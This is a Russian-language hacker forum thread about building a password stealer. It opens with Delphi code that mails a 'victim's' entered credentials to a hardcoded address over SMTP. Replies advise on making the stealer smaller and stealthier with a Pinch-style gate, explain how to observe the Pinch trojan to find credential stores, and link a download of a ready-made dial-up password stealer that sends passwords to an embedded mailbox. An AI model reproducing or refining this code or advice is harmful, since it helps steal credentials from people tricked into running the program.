Доброго дня, с кооперируемся и поможем мне смотрите что есть : PHP: procedure TForm2.btn1Click(Sender: TObject); var msg: TIdMessage; begin Memo1.Clear; if (cbb1.Text = '') or (edt1.Text = '') then Exit; btn1.Enabled:= False; btn2.Enabled:= False; IdSMTP1.UserId:= 'имя@mail.ru'; IdSMTP1.Password:= 'пароль'; IdSMTP1.Host:= 'smtp.mail.ru'; IdSMTP1.AuthenticationType:= atLogin; msg:= TIdMessage.Create(IdSMTP1); msg.Subject:= 'Что то жертвы: ' + cbb1.Text; msg.Recipients.EMailAddresses:= 'кому@rambler.ru'; msg.From.Address:= 'откого@mail.ru'; Memo1.Lines.Add('|=====================|'); Memo1.Lines.Add(' Чтото жертвы: ' + cbb1.Text); Memo1.Lines.Add(' Пароль Жертвы: ' + edt1.Text); memo1.Lines.Add('|=====================|'); msg.Body.Text:= Memo1.Text; { dialup.login:= ; dialup.Password:= ''; try dialup.Login(0); except Exit; end; } try IdSMTP1.Connect(); //Ñîåäèíåíèå IdSMTP1.Send(msg); //Îòïðàâêà Exit; finally IdSMTP1.Disconnect; //Îòêëþ÷åíèå btn1.Enabled:= False; btn2.Enabled:= False; end; end; Вопрос: Каким образом можно вытягивать пароли из системы? Сложно будет кому то впарить такое но все же нужно!
Мне кажется что с мылом - чуток туповато. Т.к. простой дикомпил этого создания покажет куда что шлется и с каким паролем. И этот потовый ящик может поиметь любой с более менее ровными руками. Да к томуже и размер будет, даже если сжать UPX'ом, порядком более 200 килобайт! Мой тебе совет: для отправки данных лучше юзай типа гейта от пинча. Во первых - никаких паролей которые можно спереть, а во вторых можно напрямую через winsock всё сделать без всяких VCL и тогда размер будет в пределах 40 килобайт. А если убраль лишние модули и заменить их своими(типа sysutils) то размер можно получить порядка 20 килобайт. ----------- А на счет паролей - погляди что делает пинч. К примеру поставь файловый монитор и монитор реестра и запусти пинч и увидешь к чему он лезит. А там дела техники. Вобщем разобраться с можешь быстро что и откуда нужно тырить!
вот держи... Прога написанна на API... так что проблемы с 200 кб отпадают ))) 1. Ворует Dual-UP пассы. 2. Отправляет на указанное мыло которое прошито в теле проги!!! Так что предется перекомпилировать ) www.tcpv.narod.ru/DialRIP.7z
